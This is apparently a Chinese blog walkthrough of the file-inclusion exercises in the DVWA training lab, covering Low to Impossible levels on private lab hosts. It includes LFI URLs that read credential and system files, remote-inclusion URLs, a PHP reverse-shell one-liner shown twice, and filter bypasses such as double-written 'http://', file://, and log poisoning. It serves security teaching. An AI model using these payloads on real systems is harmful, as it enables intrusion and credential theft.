DVWA之文件包含与漏洞

文件包含与漏洞:相同的函数写入文件,需要调用函数时直接调用文件,开发人员会将包含的文件设置为变量,从而导致客户端可以恶意调用文件,造成文件包含漏洞.
PHP文件包含函数:
require():找不到文件,报错,停止运行脚本
include():找不到文件,报错,不停止运行脚本’
require_once():类似require,重复调用文件只调用一次
Include_once():类似include,重复调用文件只调用一次
文件包含漏洞特征:
?page=
?file=
?home=
目录遍历与文件包含漏洞的区别:
目录遍历是读取web目录以为的其他目录,根源在于对路径访问的限制不严格
文件包含利用函数来包含web目录以外的文件,分为本地包含和远程包含
靶机:Metasploitable2-Linux (192.168.70.136)
Windows2003 (192.168.31.2)
LOW
源代码:
在这里插入图片描述
low级别的代码对包含的文件没有进行任何的过滤!可以进行包含任意的文件。

包含一个不存在的文件 xx.php
http://192.168.31.2/vulnerabilities/fi/?page=xx.php

在这里插入图片描述
发生报错,并且显示网站的路径
Windows:
1.C:\boot.ini
在这里插入图片描述
2.C:\windows\repair\sam
在这里插入图片描述
3.C:\phpStudy\PHPTutorial\WWW\phpinfo.php
在这里插入图片描述
4、\…\…\phpinfo.php
在这里插入图片描述
在这里插入图片描述

<?php $sock=fsockopen(“192.168.70.141”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”)?>

5.http://192.168.70.139/shell.py
在这里插入图片描述
6.http://192.168.70.143/dvwa/vulnerabilities/fi/?page=http://192.168.70.143/shell.php用win2003远程包含本地的脚本,成功监听到连接
在这里插入图片描述
7.http://192.168.70.143/dvwa/vulnerabilities/fi/?page=http://192.168.70.142/1.txt
用win2003远程包含kali上面的脚本,成功监听到连接
在这里插入图片描述
在这里插入图片描述
Linux:
1./etc/passwd
在这里插入图片描述
2./etc/resolv.conf
在这里插入图片描述
3./root/.ssh/known_hosts
在这里插入图片描述
4./etc/network/interfaces

在这里插入图片描述

Medium:
源代码:
在这里插入图片描述

代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生,也过滤了 …/ 和 …\ 防止了进行目录切换的包含。

str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如hthttp://tp://xx 时,str_replace 函数只会过滤一个 http:// ,所以最终还是会包含到 http://xx
High
源代码:
在这里插入图片描述
high级别的代码对包含的文件名进行了限制,必须为 file* 或者 include.php ,否则会提示Error:File not found。
利用 file 协议进行绕过
在这里插入图片描述
配合文件上传漏洞,先把shell上传到服务器端,然后再文件包含
或者通过日志系统记录登录失败的信息向服务器植入木马.再利用文件包含漏洞包含相应的日志目录即可

impossible
源代码:
在这里插入图片描述
可以看到,impossible级别的代码使用了白名单过滤的方法,包含的文件名只能等于白名单中的文件,所以避免了文件包含漏洞的产生!
脚本

<?php $sock=fsockopen("192.168.70.142",1234);exec("/bin/sh -i <&3 >&3 2>&3")?>
发布了13 篇原创文章 · 获赞 0 · 访问量 285

猜你喜欢

转载自blog.csdn.net/bc221yz/article/details/105023502